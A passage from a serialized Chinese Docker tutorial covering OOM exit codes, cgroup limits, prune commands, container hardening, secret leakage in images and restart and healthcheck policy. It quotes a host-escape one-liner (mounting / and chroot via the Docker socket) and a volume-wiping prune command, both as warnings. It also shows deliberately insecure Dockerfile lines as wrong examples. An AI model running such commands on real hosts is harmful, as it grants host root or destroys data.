-k\n",[331,57272,57273,57275,57277,57279,57282,57284],{"class":333,"line":371},[331,57274,36862],{"class":501},[331,57276,49992],{"class":365},[331,57278,49939],{"class":344},[331,57280,57281],{"class":365}," 2h",[331,57283,49999],{"class":344},[331,57285,57286],{"class":365}," event=die\n",[11,57288,57289,57291,57292,57294,57295,57298,57299,57301,57302,57305,57306,57309,57310,57312,57313,57316],{},[22,57290,50731],{}," → 内存配额不够或应用泄漏，调 ",[22,57293,49561],{}," 或修应用；",[22,57296,57297],{},"OOMKilled=false"," 而码是 137 → 有人（或脚本、",[22,57300,49836],{},"、stop 超时）发了 SIGKILL，用 ",[22,57303,57304],{},"docker events"," 找时间点。注意内核 OOM 也可能杀",[17,57307,57308],{},"宿主","进程：没设 ",[22,57311,49561],{}," 的容器可以一路吃到宿主内存，最后 OOM killer 挑了个 sshd——这就是「慎用 ",[22,57314,57315],{},"--oom-kill-disable","」的理由：它让容器在内存不足时不可被杀，于是内核去杀邻居。",[53,57318,57320],{"id":57319},"容器里看到的免费内存核数是宿主的","容器里看到的免费内存\u002F核数是宿主的",[308,57322,57324],{"className":3902,"code":57323,"language":3904,"meta":314,"style":314},"docker run -it --rm --cpus 1 --memory 256m node:22-bookworm-slim sh\n\u002Fsrv\u002Fshop $ free -h          # 显示宿主总内存\n\u002Fsrv\u002Fshop $ nproc            # 显示宿主核数\n\u002Fsrv\u002Fshop $ cat \u002Fsys\u002Ffs\u002Fcgroup\u002Fmemory.max      # 268435456  ← 真实上限在这\n\u002Fsrv\u002Fshop $ cat \u002Fsys\u002Ffs\u002Fcgroup\u002Fcpu.max          # 100000 25000 ← quota\u002Fperiod = 4 核？其实是 1 核\n",[22,57325,57326,57351,57365,57376,57391],{"__ignoreMap":314},[331,57327,57328,57330,57332,57334,57336,57338,57340,57343,57346,57348],{"class":333,"line":334},[331,57329,36862],{"class":501},[331,57331,5020],{"class":365},[331,57333,50116],{"class":344},[331,57335,48890],{"class":344},[331,57337,57087],{"class":344},[331,57339,30777],{"class":344},[331,57341,57342],{"class":344}," --memory",[331,57344,57345],{"class":365}," 256m",[331,57347,46852],{"class":365},[331,57349,57350],{"class":365}," sh\n",[331,57352,57353,57355,57357,57360,57362],{"class":333,"line":341},[331,57354,50638],{"class":501},[331,57356,50641],{"class":337},[331,57358,57359],{"class":365},"free",[331,57361,16456],{"class":344},[331,57363,57364],{"class":1003},"          # 显示宿主总内存\n",[331,57366,57367,57369,57371,57373],{"class":333,"line":357},[331,57368,50638],{"class":501},[331,57370,50641],{"class":337},[331,57372,55556],{"class":365},[331,57374,57375],{"class":1003},"            # 显示宿主核数\n",[331,57377,57378,57380,57382,57385,57388],{"class":333,"line":371},[331,57379,50638],{"class":501},[331,57381,50641],{"class":337},[331,57383,57384],{"class":365},"cat",[331,57386,57387],{"class":365}," \u002Fsys\u002Ffs\u002Fcgroup\u002Fmemory.max",[331,57389,57390],{"class":1003},"      # 268435456  ← 真实上限在这\n",[331,57392,57393,57395,57397,57399,57402],{"class":333,"line":384},[331,57394,50638],{"class":501},[331,57396,50641],{"class":337},[331,57398,57384],{"class":365},[331,57400,57401],{"class":365}," \u002Fsys\u002Ffs\u002Fcgroup\u002Fcpu.max",[331,57403,57404],{"class":1003},"          # 100000 25000 ← quota\u002Fperiod = 4 核？其实是 1 核\n",[11,57406,41889,57407,5160,57410,57412,57413,57416,57417,161],{},[22,57408,57409],{},"\u002Fproc",[22,57411,57359],{}," 读的是全局视图，namespace 没隔离它们（",[22,57414,57415],{},"lxcfs"," 就是专门伪造这些文件的方案，K8s 环境偶尔引入）。所以：",[17,57418,57419,57420,272,57423,57426],{},"依赖 ",[22,57421,57422],{},"os.totalmem()",[22,57424,57425],{},"Runtime.availableProcessors()"," 的库在容器里都会算错",[1773,57428,57429,57447,57473],{},[1662,57430,57431,57434,57435,57438,57439,57442,57443,57446],{},[17,57432,57433],{},"JVM","：新版默认按 cgroup 限制算堆（",[22,57436,57437],{},"-XX:+UseContainerSupport","），显式配 ",[22,57440,57441],{},"-XX:MaxRAMPercentage=70.0"," 比写死 ",[22,57444,57445],{},"-Xmx"," 更可移植；老 8u 之前的版本会按宿主内存开堆，然后被 OOM Kill。",[1662,57448,57449,322,57452,57455,57456,57459,57460,272,57463,57466,57467,57469,57470,161],{},[17,57450,57451],{},"Node",[22,57453,57454],{},"--max-old-space-size"," 要",[17,57457,57458],{},"小于","容器内存（留 20–25% 给 Buffer\u002F线程栈），否则 V8 觉得还有空间、内核先动手；",[22,57461,57462],{},"uv.defaultConcurrency",[22,57464,57465],{},"os.cpus().length"," 决定 worker\u002F线程池大小，按 ",[22,57468,46125],{}," 自己算而不是读 ",[22,57471,57472],{},"cpus()",[1662,57474,57475,57478,57479,57482],{},[17,57476,57477],{},"Go","：GOMAXPROCS 默认读宿主核数，CPU 限额 0.5 核时会出现大量线程被 throttle，用 ",[22,57480,57481],{},"automaxprocs"," 或显式设。",[53,57484,57486],{"id":57485},"清理与镜像瘦身prune-的杀伤范围","清理与镜像瘦身：prune 的杀伤范围",[308,57488,57490],{"className":3902,"code":57489,"language":3904,"meta":314,"style":314},"docker system df                 # 先看账本，永远先跑这个\ndocker container prune           # 只删已停止容器\ndocker image prune               # 只删悬空镜像（无 tag 的）\ndocker image prune -a            # 删所有「没有被任何容器使用」的镜像 —— 会拉回重下\ndocker builder prune             # 只清构建缓存（BuildKit），层缓存没了但镜像还在\ndocker system prune              # 上述前三类的组合\ndocker system prune -a --volumes  # 加上所有未使用卷 —— 数据库没了\n",[22,57491,57492,57505,57516,57527,57541,57553,57564],{"__ignoreMap":314},[331,57493,57494,57496,57499,57502],{"class":333,"line":334},[331,57495,36862],{"class":501},[331,57497,57498],{"class":365}," system",[331,57500,57501],{"class":365}," df",[331,57503,57504],{"class":1003},"                 # 先看账本，永远先跑这个\n",[331,57506,57507,57509,57511,57513],{"class":333,"line":341},[331,57508,36862],{"class":501},[331,57510,49185],{"class":365},[331,57512,49188],{"class":365},[331,57514,57515],{"class":1003},"           # 只删已停止容器\n",[331,57517,57518,57520,57522,57524],{"class":333,"line":357},[331,57519,36862],{"class":501},[331,57521,52670],{"class":365},[331,57523,49188],{"class":365},[331,57525,57526],{"class":1003},"               # 只删悬空镜像（无 tag 的）\n",[331,57528,57529,57531,57533,57535,57538],{"class":333,"line":371},[331,57530,36862],{"class":501},[331,57532,52670],{"class":365},[331,57534,49188],{"class":365},[331,57536,57537],{"class":344}," -a",[331,57539,57540],{"class":1003},"            # 删所有「没有被任何容器使用」的镜像 —— 会拉回重下\n",[331,57542,57543,57545,57548,57550],{"class":333,"line":384},[331,57544,36862],{"class":501},[331,57546,57547],{"class":365}," builder",[331,57549,49188],{"class":365},[331,57551,57552],{"class":1003},"             # 只清构建缓存（BuildKit），层缓存没了但镜像还在\n",[331,57554,57555,57557,57559,57561],{"class":333,"line":397},[331,57556,36862],{"class":501},[331,57558,57498],{"class":365},[331,57560,49188],{"class":365},[331,57562,57563],{"class":1003},"              # 上述前三类的组合\n",[331,57565,57566,57568,57570,57572,57574,57577],{"class":333,"line":418},[331,57567,36862],{"class":501},[331,57569,57498],{"class":365},[331,57571,49188],{"class":365},[331,57573,57537],{"class":344},[331,57575,57576],{"class":344}," --volumes",[331,57578,57579],{"class":1003},"  # 加上所有未使用卷 —— 数据库没了\n",[11,57581,57582,57583,322,57586,57589,57590,57593],{},"最后一行是 Docker 世界里的 ",[22,57584,57585],{},"rm -rf",[22,57587,57588],{},"--volumes"," 会删掉所有",[17,57591,57592],{},"当前没被容器引用","的命名卷，包括你昨天测试留下的生产库副本（第九章匿名卷那段）。安全替代：",[308,57595,57597],{"className":3902,"code":57596,"language":3904,"meta":314,"style":314},"docker image prune -a --filter \"until=336h\"     # 只清 7 天前的，留回滚余地\ndocker ps -a --filter status=exited --format '{{.Names}}'   # 先列清单再决定\ndocker volume ls --filter name=shop              # 精确定位，然后 volume rm 具体名字\n",[22,57598,57599,57617,57638],{"__ignoreMap":314},[331,57600,57601,57603,57605,57607,57609,57611,57614],{"class":333,"line":334},[331,57602,36862],{"class":501},[331,57604,52670],{"class":365},[331,57606,49188],{"class":365},[331,57608,57537],{"class":344},[331,57610,49999],{"class":344},[331,57612,57613],{"class":365}," \"until=336h\"",[331,57615,57616],{"class":1003},"     # 只清 7 天前的，留回滚余地\n",[331,57618,57619,57621,57623,57625,57627,57630,57632,57635],{"class":333,"line":341},[331,57620,36862],{"class":501},[331,57622,50297],{"class":365},[331,57624,57537],{"class":344},[331,57626,49999],{"class":344},[331,57628,57629],{"class":365}," status=exited",[331,57631,50255],{"class":344},[331,57633,57634],{"class":365}," '{{.Names}}'",[331,57636,57637],{"class":1003},"   # 先列清单再决定\n",[331,57639,57640,57642,57644,57646,57648,57651],{"class":333,"line":357},[331,57641,36862],{"class":501},[331,57643,52048],{"class":365},[331,57645,50172],{"class":365},[331,57647,49999],{"class":344},[331,57649,57650],{"class":365}," name=shop",[331,57652,57653],{"class":1003},"              # 精确定位，然后 volume rm 具体名字\n",[11,57655,57656,57657,57660,57661,57663,57664,57667],{},"镜像体积影响的不只是磁盘：",[17,57658,57659],{},"容器首次启动要等层下载+解压完成","（第三章），1GB 与 80MB 的镜像在扩缩容、故障重调度时的恢复时间差一个量级。多阶段构建（第五章）+ slim\u002Falpine 基础镜像 + 把 ",[22,57662,47461],{}," 链起来减少层数（第四章的 ",[22,57665,57666],{},"rm -rf \u002Fvar\u002Flib\u002Fapt\u002Flists\u002F*","），三招通常能砍掉 70%。",[11,57669,57670,57671,57673,57674,57676,57677,57679,57680,57682],{},"示例 14 演示一次完整的定位：容器反复 ",[22,57672,45994],{},"，从 ",[22,57675,49842],{}," 到 ",[22,57678,50028],{}," 到内核日志，最后落到 JVM 堆参数与 ",[22,57681,49561],{}," 的错配。",[4748,57684],{"height":50077,"src":57685,"title":57686},"\u002Ftutorials\u002Fdocker\u002Fdemos\u002F14-resources.html","示例 14：资源限制与 137——OOM 的定位路径",[48,57688,57690],{"id":57689},"十五安全实践非-root能力裁剪只读根文件系统与扫描","十五、安全实践：非 root、能力裁剪、只读根文件系统与扫描",[53,57692,57694],{"id":57693},"为什么默认是-rootrootless-能不能真解决","为什么默认是 root，rootless 能不能真解决",[11,57696,57697,57698,57701],{},"镜像默认以 root 跑是历史决定：装包、写系统目录、绑 80 端口都方便。后果是应用一旦被 RCE，攻击者拿到的是",[17,57699,57700],{},"容器内的 root","——它可以调用镜像允许的所有 capability、访问所有挂载。",[11,57703,11403,57704,57707,57708,57711],{},[17,57705,57706],{},"容器内 root ≠ 宿主 root","，但也",[17,57709,57710],{},"绝不是安全的","。能不能逃逸取决于能力集、seccomp、挂载了什么。rootless 模式（第二章）把「逃逸后拿到的身份」从 root 降级成普通用户，这是真实的收益；但它不改变容器内应用仍以自己的 UID 拥有全部权限这一事实，也不解决 secret 泄漏与网络暴露。两者是不同层次的缓解，都要做。",[53,57713,57715],{"id":57714},"dockerfile-里的-user-与非-root-镜像","Dockerfile 里的 USER 与非 root 镜像",[308,57717,57719],{"className":15575,"code":57718,"language":15577,"meta":314,"style":314},"FROM node:22-bookworm-slim\nRUN groupadd --gid 1001 app \\\n    && useradd --uid 1001 --gid app --shell \u002Fusr\u002Fsbin\u002Fnologin --home-dir \u002Fsrv\u002Fshop --no-create-home app\nWORKDIR \u002Fsrv\u002Fshop\nCOPY --chown=1001:1001 . .\nUSER 1001:1001\n",[22,57720,57721,57725,57730,57735,57739,57744],{"__ignoreMap":314},[331,57722,57723],{"class":333,"line":334},[331,57724,48144],{},[331,57726,57727],{"class":333,"line":341},[331,57728,57729],{},"RUN groupadd --gid 1001 app \\\n",[331,57731,57732],{"class":333,"line":357},[331,57733,57734],{},"    && useradd --uid 1001 --gid app --shell \u002Fusr\u002Fsbin\u002Fnologin --home-dir \u002Fsrv\u002Fshop --no-create-home app\n",[331,57736,57737],{"class":333,"line":371},[331,57738,48153],{},[331,57740,57741],{"class":333,"line":384},[331,57742,57743],{},"COPY --chown=1001:1001 . .\n",[331,57745,57746],{"class":333,"line":397},[331,57747,48177],{},[11,57749,29078],{},[1773,57751,57752,57771,57778,57794],{},[1662,57753,57754,57755,268,57758,57761,57762,57764,57765,4839,57768,57770],{},"用",[17,57756,57757],{},"数字",[22,57759,57760],{},"USER 1001:1001","，别写 ",[22,57763,47944],{},"——写名字时依赖镜像里恰好有那个用户，基础镜像一换就 ",[22,57766,57767],{},"unable to find user app: no matching entries in passwd file",[22,57769,49807],{}," 家族）。",[1662,57772,57773,57774,57777],{},"Alpine 系是 ",[22,57775,57776],{},"addgroup -g 1001 app && adduser -S -D -u 1001 -G app app","，参数名与 Debian 完全不同，抄错就构建失败。",[1662,57779,57780,57783,57784,57787,57788,6745,57790,57793],{},[17,57781,57782],{},"先装东西、再切用户","（第四章）。切完之后 ",[22,57785,57786],{},"RUN apt-get"," 必然权限不足；需要写目录时提前 ",[22,57789,47951],{},[22,57791,57792],{},"COPY --chown","，别在运行时用 root 去修。",[1662,57795,57796,57797,57799,57800,57802,57803,57806],{},"现成的非 root 镜像更省事：",[22,57798,15542],{}," 自带 ",[22,57801,15542],{}," 用户（UID 1000）、",[22,57804,57805],{},"nginxinc\u002Fnginx-unprivileged:1.27-alpine"," 直接听 8080。",[53,57808,57809],{"id":57809},"能力裁剪与安全选项",[308,57811,57813],{"className":3902,"code":57812,"language":3904,"meta":314,"style":314},"docker run --rm --cap-drop=ALL --cap-add=NET_BIND_SERVICE --security-opt no-new-privileges:true shop-api:1.8.3\n",[22,57814,57815],{"__ignoreMap":314},[331,57816,57817,57819,57821,57823,57826,57829,57832,57835,57837],{"class":333,"line":334},[331,57818,36862],{"class":501},[331,57820,5020],{"class":365},[331,57822,48890],{"class":344},[331,57824,57825],{"class":344}," --cap-drop=ALL",[331,57827,57828],{"class":344}," --cap-add=NET_BIND_SERVICE",[331,57830,57831],{"class":344}," --security-opt",[331,57833,57834],{"class":365}," no-new-privileges:",[331,57836,1131],{"class":344},[331,57838,57839],{"class":365}," shop-api:1.8.3\n",[57,57841,57842,57852],{},[60,57843,57844],{},[63,57845,57846,57848,57850],{},[66,57847,8893],{},[66,57849,7759],{},[66,57851,22374],{},[79,57853,57854,57877,57890,57909,57926,57947],{},[63,57855,57856,57861,57864],{},[84,57857,57858],{},[22,57859,57860],{},"--cap-drop=ALL",[84,57862,57863],{},"去掉所有 Linux capability",[84,57865,57866,57867,272,57870,272,57873,57876],{},"默认容器给了约 14 个（含 ",[22,57868,57869],{},"CHOWN",[22,57871,57872],{},"NET_RAW",[22,57874,57875],{},"SETUID","…），够用但偏宽",[63,57878,57879,57884,57887],{},[84,57880,57881],{},[22,57882,57883],{},"--cap-add=NET_BIND_SERVICE",[84,57885,57886],{},"单独加回「绑 1024 以下端口」",[84,57888,57889],{},"需要 80\u002F443 时唯一该加的；更优做法是监听高位端口由反代转发",[63,57891,57892,57897,57900],{},[84,57893,57894],{},[22,57895,57896],{},"--security-opt=no-new-privileges",[84,57898,57899],{},"禁止 setuid 提权",[84,57901,57902,57903,57905,57906],{},"挡住 ",[22,57904,37063],{},"\u002FSUID 程序这条最常见路径，成本几乎为零，",[17,57907,57908],{},"建议默认开",[63,57910,57911,57916,57919],{},[84,57912,57913],{},[22,57914,57915],{},"--security-opt=seccomp=default",[84,57917,57918],{},"系统调用白名单",[84,57920,57921,57922,57925],{},"默认档已屏蔽 ~44 个危险调用；个别应用（老 Docker 里的 ",[22,57923,57924],{},"pthreads","、JVM 某些诊断）需要自定义 profile",[63,57927,57928,57933,57936],{},[84,57929,57930],{},[22,57931,57932],{},"--security-opt=apparmor=docker-default",[84,57934,57935],{},"LSM 强制访问控制",[84,57937,57938,57939,18338,57941,655,57944],{},"有 AppArmor 的发行版默认启用；SELinux 环境用 ",[22,57940,36993],{},[22,57942,57943],{},":z",[22,57945,57946],{},":Z",[63,57948,57949,57954,57959],{},[84,57950,57951],{},[22,57952,57953],{},"--privileged",[84,57955,57956],{},[17,57957,57958],{},"放开一切",[84,57960,57961,57962,57965],{},"加全部 capability、关 seccomp 与 AppArmor、能访问所有设备。",[17,57963,57964],{},"永远不要为了「让它跑起来」而加它","，那是把宿主双手交出",[53,57967,57968],{"id":57968},"只读根文件系统与最小写入面",[308,57970,57972],{"className":3902,"code":57971,"language":3904,"meta":314,"style":314},"docker run --rm --read-only --tmpfs \u002Ftmp --tmpfs \u002Frun --user 1001:1001 shop-api:1.8.3\n",[22,57973,57974],{"__ignoreMap":314},[331,57975,57976,57978,57980,57982,57985,57988,57991,57993,57996,57999,58002],{"class":333,"line":334},[331,57977,36862],{"class":501},[331,57979,5020],{"class":365},[331,57981,48890],{"class":344},[331,57983,57984],{"class":344}," --read-only",[331,57986,57987],{"class":344}," --tmpfs",[331,57989,57990],{"class":365}," \u002Ftmp",[331,57992,57987],{"class":344},[331,57994,57995],{"class":365}," \u002Frun",[331,57997,57998],{"class":344}," --user",[331,58000,58001],{"class":365}," 1001:1001",[331,58003,57839],{"class":365},[11,58005,58006,58008,58009,58012,58013,58016,58017,22270],{},[22,58007,50061],{}," 让「写文件」这件事只在显式挂载的路径上可能，等于把入侵者的持久化路径（放马、改二进制、写 crontab）砍掉。落地顺序很实际：先用 ",[22,58010,58011],{},"docker diff"," + 一段试运行收集所有写入路径（第九章），再逐条给 ",[22,58014,58015],{},"--tmpfs"," 或卷，最后打开 ",[22,58018,58019],{},"read_only: true",[53,58021,58022],{"id":58022},"镜像扫描与最小基础镜像",[308,58024,58026],{"className":3902,"code":58025,"language":3904,"meta":314,"style":314},"trivy image --severity HIGH,CRITICAL ghcr.io\u002Fexample\u002Fshop-api:1.8.3\ndocker scout quickview nginx:1.27-alpine        # Docker Desktop\u002FHub 内置\ndocker image inspect ghcr.io\u002Fexample\u002Fshop-api:1.8.3 --format '{{.Created}} {{len .RootFS.Layers}}'\n",[22,58027,58028,58043,58058],{"__ignoreMap":314},[331,58029,58030,58033,58035,58038,58041],{"class":333,"line":334},[331,58031,58032],{"class":501},"trivy",[331,58034,52670],{"class":365},[331,58036,58037],{"class":344}," --severity",[331,58039,58040],{"class":365}," HIGH,CRITICAL",[331,58042,48934],{"class":365},[331,58044,58045,58047,58050,58053,58055],{"class":333,"line":341},[331,58046,36862],{"class":501},[331,58048,58049],{"class":365}," scout",[331,58051,58052],{"class":365}," quickview",[331,58054,49099],{"class":365},[331,58056,58057],{"class":1003},"        # Docker Desktop\u002FHub 内置\n",[331,58059,58060,58062,58064,58066,58068,58070],{"class":333,"line":357},[331,58061,36862],{"class":501},[331,58063,52670],{"class":365},[331,58065,48875],{"class":365},[331,58067,48233],{"class":365},[331,58069,50255],{"class":344},[331,58071,58072],{"class":365}," '{{.Created}} {{len .RootFS.Layers}}'\n",[11,58074,58075,58076,58078,58079,58082],{},"扫描解决「已知 CVE」，不解决「未知漏洞」与配置错误；把 ",[22,58077,58032],{}," 放进 CI 当门（",[22,58080,58081],{},"--exit-code 1","），比事后在服务器上发现强。基础镜像取舍：",[57,58084,58085,58099],{},[60,58086,58087],{},[63,58088,58089,58091,58094,58097],{},[66,58090,45300],{},[66,58092,58093],{},"体积",[66,58095,58096],{},"好处",[66,58098,50395],{},[79,58100,58101,58117,58139,58166],{},[63,58102,58103,58108,58111,58114],{},[84,58104,58105],{},[22,58106,58107],{},"*-bookworm-slim",[84,58109,58110],{},"中",[84,58112,58113],{},"glibc 兼容、包全、CVE 少",[84,58115,58116],{},"仍有 apt 与 shell，调试方便",[63,58118,58119,58123,58126,58129],{},[84,58120,58121],{},[22,58122,47664],{},[84,58124,58125],{},"小",[84,58127,58128],{},"极小、apk 快",[84,58130,58131,58134,58135,58138],{},[17,58132,58133],{},"musl 而非 glibc","：需要 glibc 的二进制直接失败；预编译 wheel 可能退回源码编译；历史上 musl 的 DNS（线程栈、",[22,58136,58137],{},"getaddrinfo","）行为与 glibc 有差异，出现「只有生产偶发解析超时」",[63,58140,58141,58145,58148,58151],{},[84,58142,58143],{},[22,58144,50188],{},[84,58146,58147],{},"很小",[84,58149,58150],{},"无 shell、无包管理器，攻击面最小",[84,58152,58153,58159,58160,58163,58164,5149],{},[17,58154,58155,58156,58158],{},"无法 ",[22,58157,49225],{}," 调试","（第七章的方案全换：用 ",[22,58161,58162],{},"docker run --rm --entrypoint"," 或调试专用镜像、",[22,58165,50419],{},[63,58167,58168,58172,58175,58178],{},[84,58169,58170],{},[22,58171,50191],{},[84,58173,58174],{},"最小",[84,58176,58177],{},"只有你的二进制",[84,58179,58180],{},"要自己处理 CA 证书、时区文件、DNS（静态编译才可行）",[11,58182,58183,58186,58187,58190,58191,58194,58195,38556,58198,161],{},[22,58184,58185],{},"glibc vs musl"," 的坑在 Python（numpy\u002Fpsycopg 类需编译的包）和任何自带 ",[22,58188,58189],{},".so"," 的 SDK 上出现最多。判断办法：",[22,58192,58193],{},"docker exec c ldd \u002Fusr\u002Flocal\u002Fbin\u002Fapp"," 看链接的是 ",[22,58196,58197],{},"libc.musl*",[22,58199,58200],{},"libc.so.6",[53,58202,58204],{"id":58203},"密钥泄漏为什么-arg-env-run-都不行","密钥泄漏：为什么 ARG \u002F ENV \u002F RUN 都不行",[308,58206,58208],{"className":15575,"code":58207,"language":15577,"meta":314,"style":314},"ARG TOKEN\nRUN curl -H \"Authorization: token ${TOKEN}\" https:\u002F\u002Fapi.github.com\u002F...   # 错误示范\nENV DB_PASSWORD=hunter2                                                   # 错误示范\nRUN git clone https:\u002F\u002Fuser:password@github.com\u002Fexample\u002Fprivate.git        # 错误示范\nRUN npm ci --token=${NPM_TOKEN} && rm -rf \u002Froot\u002F.npmrc                    # rm 也救不了\n",[22,58209,58210,58215,58220,58225,58230],{"__ignoreMap":314},[331,58211,58212],{"class":333,"line":334},[331,58213,58214],{},"ARG TOKEN\n",[331,58216,58217],{"class":333,"line":341},[331,58218,58219],{},"RUN curl -H \"Authorization: token ${TOKEN}\" https:\u002F\u002Fapi.github.com\u002F...   # 错误示范\n",[331,58221,58222],{"class":333,"line":357},[331,58223,58224],{},"ENV DB_PASSWORD=hunter2                                                   # 错误示范\n",[331,58226,58227],{"class":333,"line":371},[331,58228,58229],{},"RUN git clone https:\u002F\u002Fuser:password@github.com\u002Fexample\u002Fprivate.git        # 错误示范\n",[331,58231,58232],{"class":333,"line":384},[331,58233,58234],{},"RUN npm ci --token=${NPM_TOKEN} && rm -rf \u002Froot\u002F.npmrc                    # rm 也救不了\n",[11,58236,58237,58238,58240,58241,58243,58244,58246,58247,58250,58251,58253,58254,58256,58257,58259,58260,18338,58262,161],{},"三条都能被捞出来：",[22,58239,47845],{}," 直接打印指令文本；",[22,58242,47053],{}," 后的层 tar 里文件还在（写时复制：",[22,58245,52134],{}," 只是遮住）；镜像被 pull 走后你无从审计。",[17,58248,58249],{},"「后面删掉」不是修复","，因为它只是在上层放了 whiteout。正确做法只有两条：构建期用 ",[22,58252,47849],{},"（第五章），运行期注入（第十三章）。同理，",[22,58255,47308],{}," 一个带 ",[22,58258,48404],{}," 的目录会把整个提交历史（含密钥）留在镜像里——",[22,58261,47418],{},[22,58263,48404],{},[11,58265,58266],{},"其余几条硬规则：",[1773,58268,58269,58281,58300],{},[1662,58270,58271,58277,58278,58280],{},[17,58272,58273,1901,58275],{},[22,58274,49640],{},[22,58276,55503],{},"：PID 1 负责收尸，否则僵尸进程累积到 ",[22,58279,57186],{}," 就起新进程失败。",[1662,58282,58283,58292,58293,58295,58296,58299],{},[17,58284,58285,1901,58288,58291],{},[22,58286,58287],{},"--pid=container:x",[22,58289,58290],{},"--ipc=container:x"," 共享","：共享 PID 意味着能看见甚至影响邻居的进程（",[22,58294,49205],{},"、读 ",[22,58297,58298],{},"\u002Fproc\u002F*\u002Fenviron"," 里的密钥）；共享 IPC 意味着能读写对方共享内存。除非明确需要（如 sidecar 调试），不要共享。",[1662,58301,58302,58308,58309,58312,58313,58316],{},[17,58303,58304,58305,58307],{},"挂载 ",[22,58306,46157],{}," 等于交出宿主 root","：容器里一句 ",[22,58310,58311],{},"docker run -v \u002F:\u002Fhost alpine chroot \u002Fhost"," 就能拿到宿主。真需要「容器里管容器」（CI、Portainer、watchtower），用只读 socket 代理（",[22,58314,58315],{},"tecnativa\u002Fdocker-socket-proxy","）白名单最小 API，或者用 rootless daemon。",[48,58318,58320],{"id":58319},"十六生产运行重启策略健康检查优雅停机与备份","十六、生产运行：重启策略、健康检查、优雅停机与备份",[53,58322,58324,58327],{"id":58323},"restart-四种策略怎么选",[22,58325,58326],{},"--restart"," 四种策略怎么选",[57,58329,58330,58350],{},[60,58331,58332],{},[63,58333,58334,58337,58340,58343],{},[66,58335,58336],{},"策略",[66,58338,58339],{},"daemon 重启后",[66,58341,58342],{},"应用崩溃",[66,58344,58345,58346,58349],{},"你手动 ",[22,58347,58348],{},"docker stop"," 后",[79,58351,58352,58366,58383,58396],{},[63,58353,58354,58359,58362,58364],{},[84,58355,58356,42334],{},[22,58357,58358],{},"no",[84,58360,58361],{},"不拉起",[84,58363,58361],{},[84,58365,58361],{},[63,58367,58368,58373,58378,58381],{},[84,58369,58370],{},[22,58371,58372],{},"on-failure:5",[84,58374,58375],{},[17,58376,58377],{},"拉起",[84,58379,58380],{},"拉起，最多 5 次",[84,58382,58361],{},[63,58384,58385,58389,58392,58394],{},[84,58386,58387],{},[22,58388,53687],{},[84,58390,58391],{},"拉起（除非它此前是被手动停的）",[84,58393,58377],{},[84,58395,58361],{},[63,58397,58398,58402,58404,58406],{},[84,58399,58400],{},[22,58401,55483],{},[84,58403,58377],{},[84,58405,58377],{},[84,58407,58408,58411],{},[17,58409,58410],{},"也会拉起","（daemon 重启时）",[11,58413,58414,58415,58417,58418,58420,58421,58424],{},"单机生产的答案基本都是 ",[22,58416,53687],{},"：它尊重你的「我就是要停掉它」这个意图，",[22,58419,55483],{}," 则会在你重启 Docker 之后把已经手动停掉的容器又拉起来（升级维护时这会很难堪）。",[22,58422,58423],{},"on-failure"," 适合一次性任务与迁移脚本（退出码非 0 才重试）。",[11,58426,58427,58428,58436,58437,58440],{},"要注意的盲区：",[17,58429,58430,58432,58433],{},[22,58431,58326],{}," 不处理 ",[22,58434,58435],{},"unhealthy","。健康检查连续失败只会让状态变成 ",[22,58438,58439],{},"(unhealthy)","，容器照跑（第六章）。自愈要么靠应用自己崩溃退出（配合 restart），要么外部加 watcher，要么上编排（第十七章）。",[53,58442,58444],{"id":58443},"healthcheck-与就绪判断","HEALTHCHECK 与就绪判断",[308,58446,58448],{"className":3902,"code":58447,"language":3904,"meta":314,"style":314},"docker inspect --format '{{.State.Health.Status}}' shop-api\ndocker inspect --format '{{json .State.Health}}' shop-api | jq '.Log[-3:]'   # 最近三次检查记录\n",[22,58449,58450,58463],{"__ignoreMap":314},[331,58451,58452,58454,58456,58458,58461],{"class":333,"line":334},[331,58453,36862],{"class":501},[331,58455,48875],{"class":365},[331,58457,50255],{"class":344},[331,58459,58460],{"class":365}," '{{.State.Health.Status}}'",[331,58462,57111],{"class":365},[331,58464,58465,58467,58469,58471,58474,58476,58478,58481,58484],{"class":333,"line":341},[331,58466,36862],{"class":501},[331,58468,48875],{"class":365},[331,58470,50255],{"class":344},[331,58472,58473],{"class":365}," '{{json .State.Health}}'",[331,58475,49945],{"class":365},[331,58477,15984],{"class":616},[331,58479,58480],{"class":501}," jq",[331,58482,58483],{"class":365}," '.Log[-3:]'",[331,58485,58486],{"class":1003},"   # 最近三次检查记录\n",[11,58488,58489,58491,58492,58495,58496,58499,58500,58503,58504,58506,58507,58509,58510,58513],{},[22,58490,48032],{}," 的四个参数各自管什么：",[22,58493,58494],{},"--interval"," 检查频率、",[22,58497,58498],{},"--timeout"," 单次超时、",[22,58501,58502],{},"--retries"," 连续失败几次算 unhealthy、",[22,58505,49716],{}," 启动宽限期（期间失败不计、状态是 ",[22,58508,54606],{},"）。生产最常见的事故是",[17,58511,58512],{},"没设 start-period","：应用冷启动要 25 秒，前两次检查失败被判 unhealthy，编排层不停重建，永远起不来。",[11,58515,58516,1677,58518,58521,58522,272,58525,272,58528,655,58531,58534,58535,58538],{},[22,58517,49842],{},[22,58519,58520],{},".State.Health.Log"," 里有每次执行的 ",[22,58523,58524],{},"Exit",[22,58526,58527],{},"Output",[22,58529,58530],{},"Start",[22,58532,58533],{},"End","，这是判断「到底是超时还是返回码不对」的唯一依据。另外 Compose 的 ",[22,58536,58537],{},"condition: service_healthy","（第十一章）依赖它。",[53,58540,58542],{"id":58541},"优雅停机信号怎么传pid-1-问题与解法","优雅停机：信号怎么传，PID 1 问题与解法",[11,58544,58545,58547,58548,58555,58556,161],{},[22,58546,58348],{}," 的完整时序是：",[17,58549,58550,58551,58554],{},"发 SIGTERM → 等 ",[22,58552,58553],{},"--stop-timeout","（默认 10s）→ 还没退出就 SIGKILL","。应用要在窗口内做完：停止接受新连接 → 等手头请求结束 → 关连接池 → flush 日志 → ",[22,58557,46440],{},[11,58559,58560],{},"失效的原因在第四章埋的伏笔：",[308,58562,58564],{"className":15575,"code":58563,"language":15577,"meta":314,"style":314},"CMD [\"sh\", \"-c\", \"node app.js\"]      # PID 1 = sh，node 是它的子进程\n",[22,58565,58566],{"__ignoreMap":314},[331,58567,58568],{"class":333,"line":334},[331,58569,58563],{},[11,58571,58572,58575,58576,58578,58579,58582,58583,58586],{},[22,58573,58574],{},"sh -c"," 起的子进程",[17,58577,4771],{}," PID 1，而 shell 默认不转发收到的 SIGTERM（它只等子进程结束），于是：容器收到信号 → sh 无动作 → 10 秒后 Docker 发 SIGKILL → node 被硬杀 → 退出码 137、请求被截断、事务未提交。同样地，shell 形式 ",[22,58580,58581],{},"CMD node app.js","（不带 JSON 数组）也是经 ",[22,58584,58585],{},"\u002Fbin\u002Fsh 